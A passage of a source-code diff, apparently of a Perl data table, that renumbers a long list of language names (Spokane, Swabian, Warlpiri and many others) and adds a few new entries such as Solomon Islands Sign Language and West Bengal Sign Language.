       ],
-   q(6176) => [
+   q(6175) => [
       q(Akukem),
       ],
-   q(6177) => [
+   q(6176) => [
       q(Sanapana),
       ],
-   q(6178) => [
+   q(6177) => [
       q(Spokane),
       ],
-   q(6179) => [
+   q(6178) => [
       q(Supyire Senoufo),
       ],
-   q(6180) => [
+   q(6179) => [
       q(Loreto-Ucayali Spanish),
       ],
-   q(6181) => [
+   q(6180) => [
       q(Saparua),
       ],
-   q(6182) => [
+   q(6181) => [
       q(Saposa),
       ],
-   q(6183) => [
+   q(6182) => [
       q(Spiti Bhoti),
       ],
-   q(6184) => [
+   q(6183) => [
       q(Sapuan),
       ],
-   q(6185) => [
+   q(6184) => [
       q(Sambalpuri),
       q(Kosli),
       ],
-   q(6186) => [
+   q(6185) => [
       q(South Picene),
       ],
-   q(6187) => [
+   q(6186) => [
       q(Sabaot),
       ],
-   q(6188) => [
+   q(6187) => [
       q(Shama-Sambuga),
       ],
-   q(6189) => [
+   q(6188) => [
       q(Shau),
       ],
-   q(6190) => [
+   q(6189) => [
       q(Albanian Sign Language),
       ],
-   q(6191) => [
+   q(6190) => [
       q(Suma),
       ],
-   q(6192) => [
+   q(6191) => [
       q(Susquehannock),
       ],
-   q(6193) => [
+   q(6192) => [
       q(Sorkhei),
       ],
-   q(6194) => [
+   q(6193) => [
       q(Sou),
       ],
-   q(6195) => [
+   q(6194) => [
       q(Siculo Arabic),
       ],
-   q(6196) => [
+   q(6195) => [
       q(Sri Lankan Sign Language),
       ],
-   q(6197) => [
+   q(6196) => [
       q(Soqotri),
       ],
-   q(6198) => [
+   q(6197) => [
       q(Squamish),
       ],
-   q(6199) => [
+   q(6198) => [
       q(Saruga),
       ],
-   q(6200) => [
+   q(6199) => [
       q(Sora),
       ],
-   q(6201) => [
+   q(6200) => [
       q(Logudorese Sardinian),
       ],
-   q(6202) => [
+   q(6201) => [
       q(Sara),
       ],
-   q(6203) => [
+   q(6202) => [
       q(Nafi),
       ],
-   q(6204) => [
+   q(6203) => [
       q(Sulod),
       ],
-   q(6205) => [
+   q(6204) => [
       q(Sarikoli),
       ],
-   q(6206) => [
+   q(6205) => [
       q(Siriano),
       ],
-   q(6207) => [
+   q(6206) => [
       q(Serudung Murut),
       ],
-   q(6208) => [
+   q(6207) => [
       q(Isirawa),
       ],
-   q(6209) => [
+   q(6208) => [
       q(Saramaccan),
       ],
-   q(6210) => [
+   q(6209) => [
       q(Campidanese Sardinian),
       ],
-   q(6211) => [
+   q(6210) => [
       q(Siriono),
       ],
-   q(6212) => [
+   q(6211) => [
       q(Sarsi),
       ],
-   q(6213) => [
+   q(6212) => [
       q(Sauri),
       ],
-   q(6214) => [
+   q(6213) => [
       q(Surui),
       ],
-   q(6215) => [
+   q(6214) => [
       q(Southern Sorsoganon),
       ],
-   q(6216) => [
+   q(6215) => [
       q(Serua),
       ],
-   q(6217) => [
+   q(6216) => [
       q(Sirmauri),
       ],
-   q(6218) => [
+   q(6217) => [
       q(Sera),
       ],
-   q(6219) => [
+   q(6218) => [
       q(Shahmirzadi),
       ],
-   q(6220) => [
+   q(6219) => [
       q(Southern Sama),
       ],
-   q(6221) => [
+   q(6220) => [
       q(Suba-Simbiti),
       ],
-   q(6222) => [
+   q(6221) => [
       q(Siroi),
       ],
-   q(6223) => [
+   q(6222) => [
       q(Balangingi),
       q(Bangingih Sama),
       ],
-   q(6224) => [
+   q(6223) => [
       q(Thao),
       ],
-   q(6225) => [
+   q(6224) => [
       q(Seimat),
       ],
-   q(6226) => [
+   q(6225) => [
       q(Shihhi Arabic),
       ],
-   q(6227) => [
+   q(6226) => [
       q(Sansi),
       ],
-   q(6228) => [
+   q(6227) => [
       q(Sausi),
       ],
-   q(6229) => [
+   q(6228) => [
       q(Sunam),
       ],
-   q(6230) => [
+   q(6229) => [
       q(Western Sisaala),
       ],
-   q(6231) => [
+   q(6230) => [
       q(Semnam),
       ],
-   q(6232) => [
+   q(6231) => [
       q(Waata),
       ],
-   q(6233) => [
+   q(6232) => [
       q(Sissano),
       ],
-   q(6234) => [
+   q(6233) => [
       q(Spanish Sign Language),
       ],
-   q(6235) => [
+   q(6234) => [
       q(So'a),
       ],
-   q(6236) => [
+   q(6235) => [
       q(Swiss-French Sign Language),
       ],
-   q(6237) => [
+   q(6236) => [
       q(So),
       ],
-   q(6238) => [
+   q(6237) => [
       q(Sinasina),
       ],
-   q(6239) => [
+   q(6238) => [
       q(Susuami),
       ],
-   q(6240) => [
+   q(6239) => [
       q(Shark Bay),
       ],
-   q(6241) => [
+   q(6240) => [
       q(Samberigi),
       ],
-   q(6242) => [
+   q(6241) => [
       q(Saho),
       ],
-   q(6243) => [
+   q(6242) => [
       q(Sengseng),
       ],
-   q(6244) => [
+   q(6243) => [
       q(Settla),
       ],
-   q(6245) => [
+   q(6244) => [
       q(Northern Subanen),
       ],
-   q(6246) => [
+   q(6245) => [
       q(Sentinel),
       ],
-   q(6247) => [
+   q(6246) => [
       q(Liana-Seti),
       ],
-   q(6248) => [
+   q(6247) => [
       q(Seta),
       ],
-   q(6249) => [
+   q(6248) => [
       q(Trieng),
       ],
-   q(6250) => [
+   q(6249) => [
       q(Shelta),
       ],
-   q(6251) => [
+   q(6250) => [
       q(Bulo Stieng),
       ],
-   q(6252) => [
+   q(6251) => [
       q(Matya Samo),
       ],
-   q(6253) => [
+   q(6252) => [
       q(Arammba),
       ],
-   q(6254) => [
+   q(6253) => [
       q(Stellingwerfs),
       ],
-   q(6255) => [
+   q(6254) => [
       q(Setaman),
       ],
-   q(6256) => [
+   q(6255) => [
       q(Owa),
       ],
-   q(6257) => [
+   q(6256) => [
       q(Stoney),
       ],
-   q(6258) => [
+   q(6257) => [
       q(Southeastern Tepehuan),
       ],
-   q(6259) => [
+   q(6258) => [
       q(Saterfriesisch),
       ],
-   q(6260) => [
+   q(6259) => [
       q(Straits Salish),
       ],
-   q(6261) => [
+   q(6260) => [
       q(Shumashti),
       ],
-   q(6262) => [
+   q(6261) => [
       q(Budeh Stieng),
       ],
-   q(6263) => [
+   q(6262) => [
       q(Samtao),
       ],
-   q(6264) => [
+   q(6263) => [
       q(Silt'e),
       ],
-   q(6265) => [
+   q(6264) => [
       q(Satawalese),
       ],
-   q(6266) => [
+   q(6265) => [
       q(Siberian Tatar),
       ],
-   q(6267) => [
+   q(6266) => [
       q(Sulka),
       ],
-   q(6268) => [
+   q(6267) => [
       q(Suku),
       ],
-   q(6269) => [
+   q(6268) => [
       q(Western Subanon),
       ],
-   q(6270) => [
+   q(6269) => [
       q(Suena),
       ],
-   q(6271) => [
+   q(6270) => [
       q(Suganga),
       ],
-   q(6272) => [
+   q(6271) => [
       q(Suki),
       ],
-   q(6273) => [
+   q(6272) => [
       q(Shubi),
       ],
-   q(6274) => [
+   q(6273) => [
       q(Suri),
       ],
-   q(6275) => [
+   q(6274) => [
       q(Mwaghavul),
       ],
-   q(6276) => [
+   q(6275) => [
       q(Subtiaba),
       ],
-   q(6277) => [
+   q(6276) => [
       q(Puroik),
       ],
-   q(6278) => [
+   q(6277) => [
       q(Sumbwa),
       ],
-   q(6279) => [
+   q(6278) => [
       q(Suya),
       ],
-   q(6280) => [
+   q(6279) => [
       q(Sunwar),
       ],
-   q(6281) => [
+   q(6280) => [
       q(Svan),
       ],
-   q(6282) => [
+   q(6281) => [
       q(Ulau-Suain),
       ],
-   q(6283) => [
+   q(6282) => [
       q(Vincentian Creole English),
       ],
-   q(6284) => [
+   q(6283) => [
       q(Serili),
       ],
-   q(6285) => [
+   q(6284) => [
       q(Slovakian Sign Language),
       ],
-   q(6286) => [
+   q(6285) => [
       q(Slavomolisano),
       ],
-   q(6287) => [
+   q(6286) => [
       q(Savosavo),
       ],
-   q(6288) => [
+   q(6287) => [
       q(Skalvian),
       ],
-   q(6289) => [
+   q(6288) => [
       q(Maore Comorian),
       ],
-   q(6290) => [
+   q(6289) => [
       q(Congo Swahili),
       ],
-   q(6291) => [
+   q(6290) => [
       q(Sere),
       ],
-   q(6292) => [
+   q(6291) => [
       q(Swabian),
       ],
-   q(6293) => [
+   q(6292) => [
       q(Swahili (individual language)),
       q(Kiswahili),
       ],
-   q(6294) => [
+   q(6293) => [
       q(Sui),
       ],
-   q(6295) => [
+   q(6294) => [
       q(Sira),
       ],
-   q(6296) => [
+   q(6295) => [
       q(Malawi Sena),
       ],
-   q(6297) => [
+   q(6296) => [
       q(Swedish Sign Language),
       ],
-   q(6298) => [
+   q(6297) => [
       q(Samosa),
       ],
-   q(6299) => [
+   q(6298) => [
       q(Sawknah),
       ],
-   q(6300) => [
+   q(6299) => [
       q(Shanenawa),
       ],
-   q(6301) => [
+   q(6300) => [
       q(Suau),
       ],
-   q(6302) => [
+   q(6301) => [
       q(Sharwa),
       ],
-   q(6303) => [
+   q(6302) => [
       q(Saweru),
       ],
-   q(6304) => [
+   q(6303) => [
       q(Seluwasan),
       ],
-   q(6305) => [
+   q(6304) => [
       q(Sawila),
       ],
-   q(6306) => [
+   q(6305) => [
       q(Suwawa),
       ],
-   q(6307) => [
+   q(6306) => [
       q(Shekhawati),
       ],
-   q(6308) => [
+   q(6307) => [
       q(Sowa),
       ],
-   q(6309) => [
+   q(6308) => [
       q(Suruaha),
       ],
-   q(6310) => [
+   q(6309) => [
       q(Sarua),
       ],
-   q(6311) => [
+   q(6310) => [
       q(Suba),
       ],
-   q(6312) => [
+   q(6311) => [
       q(Sicanian),
       ],
-   q(6313) => [
+   q(6312) => [
       q(Sighu),
       ],
-   q(6314) => [
+   q(6313) => [
       q(Shixing),
       ],
-   q(6315) => [
+   q(6314) => [
       q(Southern Kalapuya),
       ],
-   q(6316) => [
+   q(6315) => [
       q(Selian),
       ],
-   q(6317) => [
+   q(6316) => [
       q(Samre),
       ],
-   q(6318) => [
+   q(6317) => [
       q(Sangir),
       ],
-   q(6319) => [
+   q(6318) => [
       q(Sorothaptic),
       ],
-   q(6320) => [
+   q(6319) => [
       q(Saaroa),
       ],
-   q(6321) => [
+   q(6320) => [
       q(Sasaru),
       ],
-   q(6322) => [
+   q(6321) => [
       q(Upper Saxon),
       ],
-   q(6323) => [
+   q(6322) => [
       q(Saxwe Gbe),
       ],
-   q(6324) => [
+   q(6323) => [
       q(Siang),
       ],
-   q(6325) => [
+   q(6324) => [
       q(Central Subanen),
       ],
-   q(6326) => [
+   q(6325) => [
       q(Seki),
       ],
-   q(6327) => [
+   q(6326) => [
       q(Sukur),
       ],
-   q(6328) => [
+   q(6327) => [
       q(Sylheti),
       ],
-   q(6329) => [
+   q(6328) => [
       q(Maya Samo),
       ],
-   q(6330) => [
+   q(6329) => [
       q(Senaya),
       ],
-   q(6331) => [
+   q(6330) => [
       q(Suoy),
       ],
-   q(6332) => [
+   q(6331) => [
       q(Sinyar),
       ],
-   q(6333) => [
+   q(6332) => [
       q(Kagate),
       ],
-   q(6334) => [
+   q(6333) => [
       q(Samay),
       ],
-   q(6335) => [
+   q(6334) => [
       q(Al-Sayyid Bedouin Sign Language),
       ],
-   q(6336) => [
+   q(6335) => [
       q(Semelai),
       ],
-   q(6337) => [
+   q(6336) => [
       q(Ngalum),
       ],
-   q(6338) => [
+   q(6337) => [
       q(Semaq Beri),
       ],
-   q(6339) => [
+   q(6338) => [
       q(Seru),
       ],
-   q(6340) => [
+   q(6339) => [
       q(Seze),
       ],
-   q(6341) => [
+   q(6340) => [
       q(Sengele),
       ],
-   q(6342) => [
+   q(6341) => [
       q(Silesian),
       ],
-   q(6343) => [
+   q(6342) => [
       q(Sula),
       ],
-   q(6344) => [
+   q(6343) => [
       q(Suabo),
       ],
+   q(6344) => [
+      q(Solomon Islands Sign Language),
+      ],
    q(6345) => [
       q(Isu (Fako Division)),
       ],
@@ -20939,3306 +20947,3316 @@
       q(Ukhwejo),
       ],
    q(6867) => [
+      q(Muak Sa-aak),
+      ],
+   q(6868) => [
       q(Ukrainian Sign Language),
       ],
-   q(6868) => [
+   q(6869) => [
       q(Ukpe-Bayobiri),
       ],
-   q(6869) => [
+   q(6870) => [
       q(Ukwa),
       ],
-   q(6870) => [
+   q(6871) => [
       q(Urubu-Kaapor Sign Language),
       q(Kaapor Sign Language),
       ],
-   q(6871) => [
+   q(6872) => [
       q(Ukue),
       ],
-   q(6872) => [
+   q(6873) => [
       q(Ukwuani-Aboh-Ndoni),
       ],
-   q(6873) => [
+   q(6874) => [
       q(Kuuk-Yak),
       ],
-   q(6874) => [
+   q(6875) => [
       q(Fungwa),
       ],
-   q(6875) => [
+   q(6876) => [
       q(Ulukwumi),
       ],
-   q(6876) => [
+   q(6877) => [
       q(Ulch),
       ],
-   q(6877) => [
+   q(6878) => [
       q(Lule),
       ],
-   q(6878) => [
+   q(6879) => [
       q(Usku),
       q(Afra),
       ],
-   q(6879) => [
+   q(6880) => [
       q(Ulithian),
       ],
-   q(6880) => [
+   q(6881) => [
       q(Meriam),
       ],
-   q(6881) => [
+   q(6882) => [
       q(Ullatan),
       ],
-   q(6882) => [
+   q(6883) => [
       q(Ulumanda'),
       ],
-   q(6883) => [
+   q(6884) => [
       q(Unserdeutsch),
       ],
-   q(6884) => [
+   q(6885) => [
       q(Uma' Lung),
       ],
-   q(6885) => [
+   q(6886) => [
       q(Ulwa),
       ],
-   q(6886) => [
+   q(6887) => [
       q(Umatilla),
       ],
-   q(6887) => [
+   q(6888) => [
       q(Marrucinian),
       ],
-   q(6888) => [
+   q(6889) => [
       q(Umbindhamu),
       ],
-   q(6889) => [
+   q(6890) => [
       q(Umbuygamu),
       ],
-   q(6890) => [
+   q(6891) => [
       q(Ukit),
       ],
-   q(6891) => [
+   q(6892) => [
       q(Umon),
       ],
-   q(6892) => [
+   q(6893) => [
       q(Makyan Naga),
       ],
-   q(6893) => [
+   q(6894) => [
       q(Umotina),
       ],
-   q(6894) => [
+   q(6895) => [
       q(Umpila),
       ],
-   q(6895) => [
+   q(6896) => [
       q(Umbugarla),
       ],
-   q(6896) => [
+   q(6897) => [
       q(Pendau),
       ],
-   q(6897) => [
+   q(6898) => [
       q(Munsee),
       ],
-   q(6898) => [
+   q(6899) => [
       q(North Watut),
       ],
-   q(6899) => [
+   q(6900) => [
       q(Uneme),
       ],
-   q(6900) => [
+   q(6901) => [
       q(Ngarinyin),
       ],
-   q(6901) => [
+   q(6902) => [
       q(Enawene-Nawe),
       ],
-   q(6902) => [
+   q(6903) => [
       q(Unami),
       ],
-   q(6903) => [
+   q(6904) => [
       q(Kurnai),
       ],
-   q(6904) => [
+   q(6905) => [
       q(Mundari),
       ],
-   q(6905) => [
+   q(6906) => [
       q(Unubahe),
       ],
-   q(6906) => [
+   q(6907) => [
       q(Munda),
       ],
-   q(6907) => [
+   q(6908) => [
       q(Unde Kaili),
       ],
-   q(6908) => [
+   q(6909) => [
       q(Umeda),
       ],
-   q(6909) => [
+   q(6910) => [
       q(Uripiv-Wala-Rano-Atchin),
       ],
-   q(6910) => [
+   q(6911) => [
       q(Urarina),
       ],
-   q(6911) => [
+   q(6912) => [
       q(Urubu-Kaapor),
       q(Kaapor),
       ],
-   q(6912) => [
+   q(6913) => [
       q(Urningangg),
       ],
-   q(6913) => [
+   q(6914) => [
       q(Uru),
       ],
-   q(6914) => [
+   q(6915) => [
       q(Uradhi),
       ],
-   q(6915) => [
+   q(6916) => [
       q(Urigina),
       ],
-   q(6916) => [
+   q(6917) => [
       q(Urhobo),
       ],
-   q(6917) => [
+   q(6918) => [
       q(Urim),
       ],
-   q(6918) => [
+   q(6919) => [
       q(Urak Lawoi'),
       ],
-   q(6919) => [
+   q(6920) => [
       q(Urali),
       ],
-   q(6920) => [
+   q(6921) => [
       q(Urapmin),
       ],
-   q(6921) => [
+   q(6922) => [
       q(Uruangnirin),
       ],
-   q(6922) => [
+   q(6923) => [
       q(Ura (Papua New Guinea)),
       ],
-   q(6923) => [
+   q(6924) => [
       q(Uru-Pa-In),
       ],
-   q(6924) => [
+   q(6925) => [
       q(Lehalurup),
       q(Loyop),
       ],
-   q(6925) => [
+   q(6926) => [
       q(Urat),
       ],
-   q(6926) => [
+   q(6927) => [
       q(Urumi),
       ],
-   q(6927) => [
+   q(6928) => [
       q(Uruava),
       ],
-   q(6928) => [
+   q(6929) => [
       q(Sop),
       ],
-   q(6929) => [
+   q(6930) => [
       q(Urimo),
       ],
-   q(6930) => [
+   q(6931) => [
       q(Orya),
       ],
-   q(6931) => [
+   q(6932) => [
       q(Uru-Eu-Wau-Wau),
       ],
-   q(6932) => [
+   q(6933) => [
       q(Usarufa),
       ],
-   q(6933) => [
+   q(6934) => [
       q(Ushojo),
       ],
-   q(6934) => [
+   q(6935) => [
       q(Usui),
       ],
-   q(6935) => [
+   q(6936) => [
       q(Usaghade),
       ],
-   q(6936) => [
+   q(6937) => [
       q(Uspanteco),
       ],
-   q(6937) => [
+   q(6938) => [
       q(Uya),
       ],
-   q(6938) => [
+   q(6939) => [
       q(Otank),
       ],
-   q(6939) => [
+   q(6940) => [
       q(Ute-Southern Paiute),
       ],
-   q(6940) => [
+   q(6941) => [
       q(Amba (Solomon Islands)),
       ],
-   q(6941) => [
+   q(6942) => [
       q(Etulo),
       ],
-   q(6942) => [
+   q(6943) => [
       q(Utu),
       ],
-   q(6943) => [
+   q(6944) => [
       q(Urum),
       ],
-   q(6944) => [
+   q(6945) => [
       q(Kulon-Pazeh),
       ],
-   q(6945) => [
+   q(6946) => [
       q(Ura (Vanuatu)),
       ],
-   q(6946) => [
+   q(6947) => [
       q(U),
       ],
-   q(6947) => [
+   q(6948) => [
       q(West Uvean),
       q(Fagauvea),
       ],
-   q(6948) => [
+   q(6949) => [
       q(Uri),
       ],
-   q(6949) => [
+   q(6950) => [
       q(Lote),
       ],
-   q(6950) => [
+   q(6951) => [
       q(Kuku-Uwanh),
       ],
-   q(6951) => [
+   q(6952) => [
       q(Doko-Uyanga),
       ],
-   q(6952) => [
+   q(6953) => [
       q(Northern Uzbek),
       ],
-   q(6953) => [
+   q(6954) => [
       q(Southern Uzbek),
       ],
-   q(6954) => [
+   q(6955) => [
       q(Vaagri Booli),
       ],
-   q(6955) => [
+   q(6956) => [
       q(Vale),
       ],
-   q(6956) => [
+   q(6957) => [
       q(Vafsi),
       ],
-   q(6957) => [
+   q(6958) => [
       q(Vagla),
       ],
-   q(6958) => [
+   q(6959) => [
       q(Varhadi-Nagpuri),
       ],
-   q(6959) => [
+   q(6960) => [
       q(Sekele),
       q(Northwestern Kung),
       q(Vasekele),
       ],
-   q(6960) => [
+   q(6961) => [
       q(Vehes),
       ],
-   q(6961) => [
+   q(6962) => [
       q(Vanimo),
       ],
-   q(6962) => [
+   q(6963) => [
       q(Valman),
       ],
-   q(6963) => [
+   q(6964) => [
       q(Vao),
       ],
-   q(6964) => [
+   q(6965) => [
       q(Vaiphei),
       ],
-   q(6965) => [
+   q(6966) => [
       q(Huarijio),
       ],
-   q(6966) => [
+   q(6967) => [
       q(Vasavi),
       ],
-   q(6967) => [
+   q(6968) => [
       q(Vanuma),
       ],
-   q(6968) => [
+   q(6969) => [
       q(Varli),
       ],
-   q(6969) => [
+   q(6970) => [
       q(Wayu),
       ],
-   q(6970) => [
+   q(6971) => [
       q(Southeast Babar),
       ],
-   q(6971) => [
+   q(6972) => [
       q(Southwestern Bontok),
       ],
-   q(6972) => [
+   q(6973) => [
       q(Venetian),
       ],
-   q(6973) => [
+   q(6974) => [
       q(Veddah),
       ],
-   q(6974) => [
+   q(6975) => [
       q(Veluws),
       ],
-   q(6975) => [
+   q(6976) => [
       q(Vemgo-Mabas),
       ],
-   q(6976) => [
+   q(6977) => [
       q(Ventureno),
       ],
-   q(6977) => [
+   q(6978) => [
       q(Veps),
       ],
-   q(6978) => [
+   q(6979) => [
       q(Mom Jango),
       ],
-   q(6979) => [
+   q(6980) => [
       q(Vaghri),
       ],
-   q(6980) => [
+   q(6981) => [
       q(Vlaamse Gebarentaal),
       q(Flemish Sign Language),
       ],
-   q(6981) => [
+   q(6982) => [
       q(Virgin Islands Creole English),
       ],
-   q(6982) => [
+   q(6983) => [
       q(Vidunda),
       ],
-   q(6983) => [
+   q(6984) => [
       q(Vili),
       ],
-   q(6984) => [
+   q(6985) => [
       q(Viemo),
       ],
-   q(6985) => [
+   q(6986) => [
       q(Vilela),
       ],
-   q(6986) => [
+   q(6987) => [
       q(Vinza),
       ],
-   q(6987) => [
+   q(6988) => [
       q(Vishavan),
       ],
-   q(6988) => [
+   q(6989) => [
       q(Viti),
       ],
-   q(6989) => [
+   q(6990) => [
       q(Iduna),
       ],
-   q(6990) => [
+   q(6991) => [
       q(Kariyarra),
       ],
-   q(6991) => [
+   q(6992) => [
       q(Ija-Zuba),
       ],
-   q(6992) => [
+   q(6993) => [
       q(Kujarge),
       ],
-   q(6993) => [
+   q(6994) => [
       q(Kaur),
       ],
-   q(6994) => [
+   q(6995) => [
       q(Kulisusu),
       ],
-   q(6995) => [
+   q(6996) => [
       q(Kamakan),
       ],
-   q(6996) => [
+   q(6997) => [
       q(Kodeoha),
       ],
-   q(6997) => [
+   q(6998) => [
       q(Korlai Creole Portuguese),
       ],
-   q(6998) => [
+   q(6999) => [
       q(Tenggarong Kutai Malay),
       ],
-   q(6999) => [
+   q(7000) => [
       q(Kurrama),
       ],
-   q(7000) => [
+   q(7001) => [
       q(Valpei),
       ],
-   q(7001) => [
+   q(7002) => [
       q(Vlaams),
       ],
-   q(7002) => [
+   q(7003) => [
       q(Martuyhunira),
       ],
-   q(7003) => [
+   q(7004) => [
       q(Barbaram),
       ],
-   q(7004) => [
+   q(7005) => [
       q(Juxtlahuaca Mixtec),
       ],
-   q(7005) => [
+   q(7006) => [
       q(Mudu Koraga),
       ],
-   q(7006) => [
+   q(7007) => [
       q(East Masela),
       ],
-   q(7007) => [
+   q(7008) => [
       q(Mainfrankisch),
       ],
-   q(7008) => [
+   q(7009) => [
       q(Lungalunga),
       ],
-   q(7009) => [
+   q(7010) => [
       q(Maraghei),
       ],
-   q(7010) => [
+   q(7011) => [
       q(Miwa),
       ],
-   q(7011) => [
+   q(7012) => [
       q(Ixtayutla Mixtec),
       ],
-   q(7012) => [
+   q(7013) => [
       q(Makhuwa-Shirima),
       ],
-   q(7013) => [
+   q(7014) => [
       q(Malgana),
       ],
-   q(7014) => [
+   q(7015) => [
       q(Mitlatongo Mixtec),
       ],
-   q(7015) => [
+   q(7016) => [
       q(Soyaltepec Mazatec),
       ],
-   q(7016) => [
+   q(7017) => [
       q(Soyaltepec Mixtec),
       ],
-   q(7017) => [
+   q(7018) => [
       q(Marenje),
       ],
-   q(7018) => [
+   q(7019) => [
       q(Moksela),
       ],
-   q(7019) => [
+   q(7020) => [
       q(Muluridyi),
       ],
-   q(7020) => [
+   q(7021) => [
       q(Valley Maidu),
       ],
-   q(7021) => [
+   q(7022) => [
       q(Makhuwa),
       ],
-   q(7022) => [
+   q(7023) => [
       q(Tamazola Mixtec),
       ],
-   q(7023) => [
+   q(7024) => [
       q(Ayautla Mazatec),
       ],
-   q(7024) => [
+   q(7025) => [
       q(Mazatlan Mazatec),
       ],
-   q(7025) => [
+   q(7026) => [
       q(Vano),
       q(Lovono),
       ],
-   q(7026) => [
+   q(7027) => [
       q(Vinmavis),
       q(Neve'ei),
       ],
-   q(7027) => [
+   q(7028) => [
       q(Vunapu),
       ],
-   q(7028) => [
+   q(7029) => [
       q(Voro),
       ],
-   q(7029) => [
+   q(7030) => [
       q(Vera'a),
       ],
-   q(7030) => [
+   q(7031) => [
       q(Varisi),
       ],
-   q(7031) => [
+   q(7032) => [
       q(Burmbar),
       q(Banam Bay),
       ],
-   q(7032) => [
+   q(7033) => [
       q(Moldova Sign Language),
       ],
-   q(7033) => [
+   q(7034) => [
       q(Venezuelan Sign Language),
       ],
-   q(7034) => [
+   q(7035) => [
       q(Valencian Sign Language),
       q(Llengua de signes valenciana),
       ],
-   q(7035) => [
+   q(7036) => [
       q(Vitou),
       ],
-   q(7036) => [
+   q(7037) => [
       q(Vumbu),
       ],
-   q(7037) => [
+   q(7038) => [
       q(Vunjo),
       ],
-   q(7038) => [
+   q(7039) => [
       q(Vute),
       ],
-   q(7039) => [
+   q(7040) => [
       q(Awa (China)),
       ],
-   q(7040) => [
+   q(7041) => [
       q(Walla Walla),
       ],
-   q(7041) => [
+   q(7042) => [
       q(Wab),
       ],
-   q(7042) => [
+   q(7043) => [
       q(Wasco-Wishram),
       ],
-   q(7043) => [
+   q(7044) => [
       q(Wandamen),
       ],
-   q(7044) => [
+   q(7045) => [
       q(Walser),
       ],
-   q(7045) => [
+   q(7046) => [
       q(Wakona),
       ],
-   q(7046) => [
+   q(7047) => [
       q(Wa'ema),
       ],
-   q(7047) => [
+   q(7048) => [
       q(Watubela),
       ],
-   q(7048) => [
+   q(7049) => [
       q(Wares),
       ],
-   q(7049) => [
+   q(7050) => [
       q(Waffa),
       ],
-   q(7050) => [
+   q(7051) => [
       q(Wampanoag),
       ],
-   q(7051) => [
+   q(7052) => [
       q(Wan),
       ],
-   q(7052) => [
+   q(7053) => [
       q(Wappo),
       ],
-   q(7053) => [
+   q(7054) => [
       q(Wapishana),
       ],
-   q(7054) => [
+   q(7055) => [
       q(Wageman),
       ],
-   q(7055) => [
+   q(7056) => [
       q(Kaninuwa),
       ],
-   q(7056) => [
+   q(7057) => [
       q(Waura),
       ],
-   q(7057) => [
+   q(7058) => [
       q(Waka),
       ],
-   q(7058) => [
+   q(7059) => [
       q(Waiwai),
       ],
-   q(7059) => [
+   q(7060) => [
       q(Watam),
       q(Marangis),
       ],
-   q(7060) => [
+   q(7061) => [
       q(Wayana),
       ],
-   q(7061) => [
+   q(7062) => [
       q(Wampur),
       ],
-   q(7062) => [
+   q(7063) => [
       q(Warao),
       ],
-   q(7063) => [
+   q(7064) => [
       q(Wabo),
       ],
-   q(7064) => [
+   q(7065) => [
       q(Waritai),
       ],
-   q(7065) => [
+   q(7066) => [
       q(Wanda),
       ],
-   q(7066) => [
+   q(7067) => [
       q(Vwanji),
       ],
-   q(7067) => [
+   q(7068) => [
       q(Alagwa),
       ],
-   q(7068) => [
+   q(7069) => [
       q(Waigali),
       ],
-   q(7069) => [
+   q(7070) => [
       q(Wakhi),
       ],
-   q(7070) => [
+   q(7071) => [
       q(Wa),
       ],
-   q(7071) => [
+   q(7072) => [
       q(Warlpiri),
       ],
-   q(7072) => [
+   q(7073) => [
       q(Waddar),
       ],
-   q(7073) => [
+   q(7074) => [
       q(Wagdi),
       ],
-   q(7074) => [
+   q(7075) => [
+      q(West Bengal Sign Language),
+      ],
+   q(7076) => [
       q(Wanman),
       ],
-   q(7075) => [
+   q(7077) => [
       q(Wajarri),
       ],
-   q(7076) => [
+   q(7078) => [
       q(Woi),
       ],
-   q(7077) => [
+   q(7079) => [
       q(Yanomami),
       ],
-   q(7078) => [
+   q(7080) => [
       q(Waci Gbe),
       ],
-   q(7079) => [
+   q(7081) => [
       q(Wandji),
       ],
-   q(7080) => [
+   q(7082) => [
       q(Wadaginam),
       ],
-   q(7081) => [
+   q(7083) => [
       q(Wadjiginy),
       ],
-   q(7082) => [
+   q(7084) => [
       q(Wadikali),
       ],
-   q(7083) => [
+   q(7085) => [
       q(Wadjigu),
       ],
-   q(7084) => [
+   q(7086) => [
       q(Wadjabangayi),
       ],
-   q(7085) => [
+   q(7087) => [
       q(Wewaw),
       ],
-   q(7086) => [
+   q(7088) => [
       q(We Western),
       ],
-   q(7087) => [
+   q(7089) => [
       q(Wedau),
       ],
-   q(7088) => [
+   q(7090) => [
       q(Wergaia),
       ],
-   q(7089) => [
+   q(7091) => [
       q(Weh),
       ],
-   q(7090) => [
+   q(7092) => [
       q(Kiunum),
       ],
-   q(7091) => [
+   q(7093) => [
       q(Weme Gbe),
       ],
-   q(7092) => [
+   q(7094) => [
       q(Wemale),
       ],
-   q(7093) => [
+   q(7095) => [
       q(Westphalien),
       ],
-   q(7094) => [
+   q(7096) => [
       q(Weri),
       ],
-   q(7095) => [
+   q(7097) => [
       q(Cameroon Pidgin),
       ],
-   q(7096) => [
+   q(7098) => [
       q(Perai),
       ],
-   q(7097) => [
+   q(7099) => [
       q(Rawngtu Chin),
       ],
-   q(7098) => [
+   q(7100) => [
       q(Wejewa),
       ],
-   q(7099) => [
+   q(7101) => [
       q(Yafi),
       q(Zorop),
       ],
-   q(7100) => [
+   q(7102) => [
       q(Wagaya),
       ],
-   q(7101) => [
+   q(7103) => [
       q(Wagawaga),
       ],
-   q(7102) => [
+   q(7104) => [
       q(Wangganguru),
       ],
-   q(7103) => [
+   q(7105) => [
       q(Wahgi),
       ],
-   q(7104) => [
+   q(7106) => [
       q(Waigeo),
       ],
-   q(7105) => [
+   q(7107) => [
       q(Wirangu),
       ],
-   q(7106) => [
+   q(7108) => [
       q(Warrgamay),
       ],
-   q(7107) => [
+   q(7109) => [
       q(Sou Upaa),
       q(Manusela),
       ],
-   q(7108) => [
+   q(7110) => [
       q(North Wahgi),
       ],
-   q(7109) => [
+   q(7111) => [
       q(Wahau Kenyah),
       ],
-   q(7110) => [
+   q(7112) => [
       q(Wahau Kayan),
       ],
-   q(7111) => [
+   q(7113) => [
       q(Southern Toussian),
       ],
-   q(7112) => [
+   q(7114) => [
       q(Wichita),
       ],
-   q(7113) => [
+   q(7115) => [
       q(Wik-Epa),
       ],
-   q(7114) => [
+   q(7116) => [
       q(Wik-Keyangan),
       ],
-   q(7115) => [
+   q(7117) => [
       q(Wik-Ngathana),
       ],
-   q(7116) => [
+   q(7118) => [
       q(Wik-Me'anha),
       ],
-   q(7117) => [
+   q(7119) => [
       q(Minidien),
       ],
-   q(7118) => [
+   q(7120) => [
       q(Wik-Iiyanh),
       ],
-   q(7119) => [
+   q(7121) => [
       q(Wikalkan),
       ],
-   q(7120) => [
+   q(7122) => [
       q(Wilawila),
